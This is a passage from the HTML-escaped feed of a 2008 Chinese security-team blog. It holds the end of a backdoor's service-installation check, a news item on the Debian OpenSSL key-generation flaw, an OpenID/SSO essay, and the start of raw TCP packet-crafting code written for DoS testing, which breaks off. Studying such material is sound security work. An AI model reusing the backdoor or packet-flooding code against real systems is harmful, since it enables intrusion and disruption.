#000000"&gt;&amp;nbsp;};&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;type&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;REG_EXPAND_SZ;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;int&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;size&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;sizeof&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(value);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wcscpy(&amp;nbsp;tmpPath,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;SYSTEM\CurrentControlSet\Services\&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;wcscat(&amp;nbsp;tmpPath,&amp;nbsp;SERVICE_NAME&amp;nbsp;);&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;RegOpenKeyEx(&amp;nbsp;HKEY_LOCAL_MACHINE,&amp;nbsp;tmpPath,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;KEY_QUERY_VALUE,&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;key&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ERROR_SUCCESS&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;printf(&amp;nbsp;"RegOpenKeyEx&amp;nbsp;Error:&amp;nbsp;%d\n",&amp;nbsp;GetLastError()&amp;nbsp;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;RegQueryValueEx(&amp;nbsp;key,&amp;nbsp;L&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ImagePath&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;"&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;,&amp;nbsp;NULL,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;type,&amp;nbsp;(BYTE&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)value,&amp;nbsp;(DWORD&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;*&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;)&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;amp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;size&amp;nbsp;)&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;!=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ERROR_SUCCESS&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;printf(&amp;nbsp;"RegQueryValueEx&amp;nbsp;Error:&amp;nbsp;%d\n",&amp;nbsp;GetLastError()&amp;nbsp;);&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;key&amp;nbsp;)&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;RegCloseKey(&amp;nbsp;key&amp;nbsp;);&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;//&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;如果服务的程序路径等于后门本身，表示已经安装&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;if&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;(&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;==&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;_wcsicmp(&amp;nbsp;value,&amp;nbsp;path&amp;nbsp;)&amp;nbsp;)&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;TRUE;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;br&gt;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;return&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;FALSE;&lt;br&gt;}&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-7440588195502750304?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/7440588195502750304/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=7440588195502750304' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7440588195502750304'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/7440588195502750304'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/05/tips.html' title='[Tips]一个弹窗口的流氓软件'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-6663477078590210854</id><published>2008-05-15T18:43:00.000-07:00</published><updated>2008-05-15T18:50:57.760-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[News]'/><title type='text'>[News]Debian灾难</title><content type='html'>by axis&lt;br /&gt;2008-05-16&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;Debian OpenSSL包里的算法有问题，random number生成居然是在process pid里选取，导致生成key可穷举&lt;br /&gt;&lt;br /&gt;以下摘自metasploit的blog&lt;br /&gt;The Bug&lt;br /&gt;On May 13th, 2008 the Debian project announced that Luciano Bello found an interesting vulnerability in the OpenSSL package they were distributing. The bug in question was caused by the removal of the following line of code from md_rand.c&lt;br /&gt;&lt;br /&gt; MD_Update(&amp;amp;m,buf,j);&lt;br /&gt; [ .. ]&lt;br /&gt; MD_Update(&amp;amp;m,buf,j); /* purify complains */&lt;br /&gt;&lt;br /&gt;These lines were removed because they caused the Valgrind and Purify tools to produce warnings about the use of uninitialized data in any code that was linked to OpenSSL. You can see one such report to the OpenSSL team here. Removing this code has the side effect of crippling the seeding process for the OpenSSL PRNG. Instead of mixing in random data for the initial seed, the only "random" value that was used was the current process ID. On the Linux platform, the default maximum process ID is 32,768, resulting in a very small number of seed values being used for all PRNG operations.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;所有在2006.9月到2008.5.13的debian平台上生成的key均受影响。 debian很快修复了此漏洞，并给出了blacklists和自查工具。&lt;br /&gt;&lt;br /&gt;攻击工具应该很快会出现，metasploit已经生成了key的数据库，可以用类似rainbow的方法去查询，也可以直接暴力破解ssh key。&lt;br /&gt;&lt;br /&gt;现在就等worm什么时候出现了。&lt;br /&gt;&lt;br /&gt;因为这个漏洞比较严重，所以特此记录，立此存照。&lt;br /&gt;&lt;br /&gt;相关链接：&lt;br /&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516&lt;br /&gt;&lt;br /&gt;http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=363516&lt;br /&gt;&lt;br /&gt;http://metasploit.com/users/hdm/tools/debian-openssl/&lt;br /&gt;&lt;br /&gt;http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/61666&lt;br /&gt;&lt;br /&gt;http://www.gossamer-threads.com/lists/fulldisc/full-disclosure/61606&lt;br /&gt;&lt;br /&gt;http://www.debian.org/security/2008/dsa-1571&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-6663477078590210854?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/6663477078590210854/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=6663477078590210854' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/6663477078590210854'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/6663477078590210854'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/05/newsdebian.html' title='[News]Debian灾难'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-6103795918978270336</id><published>2008-05-14T01:22:00.000-07:00</published><updated>2008-05-14T01:48:52.692-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]OpenID and SSO</title><content type='html'>by axis&lt;br /&gt;2008-05-14&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;    OpenID技术在国外已经很火了，在国内在刚刚起步。其实OpenID也是一个SSO(单点登录)的思想。目前随着web2.0技术的发展，网站之间交互越来越多，认证也即将迎来Identity2.0时代。OpenID就是其代表产物。&lt;br /&gt;&lt;br /&gt;    在Identity2.0的概念里，认证已经从网站通过用户名和密码来认证用户（目录查询类型的认证），转移为由第三方提供者来进行认证。也就是说，到别的第三方机构去认证该用户，网站本身不需要关心用户identity管理、用户认证。关于Identity2.0的更多资料，大家可以访问http://identity20.com这个网站，作者有一个非常精彩的演讲。&lt;br /&gt;&lt;br /&gt;    OpenID由provider生成一个link，通过这个link，网站对该用户进行认证。这个link可以是一次性的。这里需要注意的是link如果被截获到可能会发生hijacking攻击。所以通道加密往往会起到很重要的作用。还有一些csrf的问题也是在设计系统时需要关心的，对抗方法是加上anti-csrf-token。&lt;br /&gt;&lt;br /&gt;    OpenID的出现，让用户只需要记住一个用户名和密码（在provider上的），就能够登录所有支持该OpenID provider的网站，大大提高了用户体验。对于网站来说，他们不需要去管理用户的登录信息，减少认证这个环节，大大节约了成本，而且安全性还提高了。&lt;br /&gt;&lt;br /&gt;    为什么说安全性提高了呢？因为风险被集中化了。风险集中到了OpenID provider身上，如果OpenID出现安全风险导致帐户被窃取，那么所有网站都能被登录。但是这样做也是有好处的。SSO的优点在于可以集中最大精力来保护重要的登录入口。比如可以使用双因素认证（RSA令牌，USB Key、客户端证书等技术）。武侠小说里经常描述最强的一点就是最弱的一点，SSO很深刻的反应了这种情况。&lt;br /&gt;&lt;br /&gt;    其他SSO技术有的是基于cookie的，但是我认为这种放在cookie里的认证还是存在一定风险的，cookie本身就不是个什么好玩意，cookie让跨站和浏览器漏洞（比如跨域的）有了用武之地。而OpenID技术本身不依赖于cookie，只要设计的好完全能杜绝许多威胁。&lt;br /&gt;&lt;br /&gt;    目前OpenID面临的最大风险可能是钓鱼（对于面对公众的openid provider来说，内部系统无此威胁）。但是通过双因素认证，不依赖于密码验证用户身份，或者使用sign seal技术（主动识别真实网站），也能规避钓鱼的风险。&lt;br /&gt;&lt;br /&gt;    还有些SSO技术是基于安全协议的，不过没有深入研究，希望有道友能够补充。&lt;br /&gt;&lt;br /&gt;    值得一提的是，在国内有家叫onedoor.cn的网站，它不光支持openid技术，同时还支持保存密码，然后帮助用户去sso其他网站。从网站的角度来说，这样的做法是正确的。但是从安全工作者的角度来说，不建议客户这样做，将密码交给第三方网站保存不是一个明智的做法。&lt;br /&gt;&lt;br /&gt;    总的来说，Identity2.0是优于目前的登录、认证技术的，在web2.0的发展中，必然会发挥越来越大的影响。&lt;br /&gt;&lt;br /&gt;    关于openid更多的资料，可以访问 http://openid.net&lt;br /&gt;    对于国内用户，想体验openid技术最方便的就是通过yahoo id登录flickr! ， 当然需要先在yahoo上开通openid，不过有向导引导操作，非常简单。&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7020987005106415877-6103795918978270336?l=pstgroup.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://pstgroup.blogspot.com/feeds/6103795918978270336/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=7020987005106415877&amp;postID=6103795918978270336' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/6103795918978270336'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7020987005106415877/posts/default/6103795918978270336'/><link rel='alternate' type='text/html' href='http://pstgroup.blogspot.com/2008/05/tipsopenid-and-sso.html' title='[Tips]OpenID and SSO'/><author><name>&lt;b&gt;* Ph4nt0m Security Team *&lt;/b&gt;</name><uri>http://www.blogger.com/profile/04936521202998587891</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7020987005106415877.post-7649715995686639988</id><published>2008-05-08T00:08:00.000-07:00</published><updated>2008-05-08T00:10:30.429-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='[Tips]'/><title type='text'>[Tips]使用winpcap定制TCP包发送</title><content type='html'>by: 云舒&lt;br /&gt;2008-05-08&lt;br /&gt;http://www.ph4nt0m.org&lt;br /&gt;&lt;br /&gt;      前些时候做DOS方面的测试，由于协议学得不够好，有些回应不记得，所以就首先想到用hping来定制一些包，看看远程主机的回应。结果下载的hping死活都不发包，换了多个不同版本的winpcap都不行。一怒之下，决定自己写个简单的。首先想到的是perl来做，最后觉得一样要安装 winpcap还有很多别的模块，不如直接c来实现一下，来得更痛快。&lt;br /&gt;&lt;br /&gt;      需要说明一下的是，在以太网头那里我故意偷懒了，没有获取本机的MAC地址而是写了个错误的。所以给内网用户发包的话，能发出去，只是你收不到回应了，发给外网就没这个问题，这是因为同交换机下面靠MAC地址来定位的。&lt;br /&gt;&lt;br /&gt;      最后一点，这里所有的包，目的MAC地址都是写的MAC，通过网关把数据转发出去的。虽然同交换机下面可以直接通过MAC定位，但是我懒得判断，直接发送给网关再转发会比较简单。 &lt;br /&gt;&lt;br /&gt;&lt;div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 11px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 430px; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee; overflow: auto;"&gt;&lt;span style="COLOR: #008000"&gt;/*&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;&amp;nbsp;Code&amp;nbsp;By&amp;nbsp;yunshu,&amp;nbsp;2008-05-08,&amp;nbsp;Make&amp;nbsp;tcp&amp;nbsp;packet&amp;nbsp;to&amp;nbsp;send&amp;nbsp;to&amp;nbsp;remote&amp;nbsp;server&lt;br&gt;*&amp;nbsp;I&amp;nbsp;don't&amp;nbsp;know&amp;nbsp;which&amp;nbsp;version&amp;nbsp;of&amp;nbsp;winpcap&amp;nbsp;needed&amp;nbsp;by&amp;nbsp;hping,&amp;nbsp;so&amp;nbsp;I&amp;nbsp;wrote&amp;nbsp;this&amp;nbsp;code.&lt;br&gt;*&amp;nbsp;Under&amp;nbsp;winpcap&amp;nbsp;4.0.2,&amp;nbsp;Dev-CPP&amp;nbsp;4.9.9.2,&amp;nbsp;windows&amp;nbsp;xp&amp;nbsp;professional&amp;nbsp;sp2&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #008000"&gt;*/&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;stdio.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;string&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;winsock2.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;iphlpapi.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;unistd.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;pcap.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;#include&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;lt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;remote&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;-&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;ext.h&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;gt;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;#define&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;IP_PROTO&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0x0800&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&lt;br&gt;&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;LocalIP[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;20&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;InterfaceName[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;256&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GatewayIP[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;20&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;]&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;=&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;{&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;0&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;};&lt;br&gt;BYTE&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;GatewayMac[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;et_header&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;eh_dst[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&amp;nbsp;&amp;nbsp;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;eh_src[&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;6&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;];&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;eh_type;&lt;br&gt;}ET_HEADER;&lt;br&gt;&lt;br&gt;typedef&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;struct&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;ip_hdr&lt;br&gt;{&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;h_verlen;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;tos;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;total_len;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ident;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;short&lt;/span&gt;&lt;span style="COLOR: #000000"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;frag_and_flags;&lt;br&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;unsigned&amp;nbsp;&lt;/span&gt;&lt;span style="COLOR: #0000ff"&gt;char&lt;/span&gt;&lt;span style="COLOR: 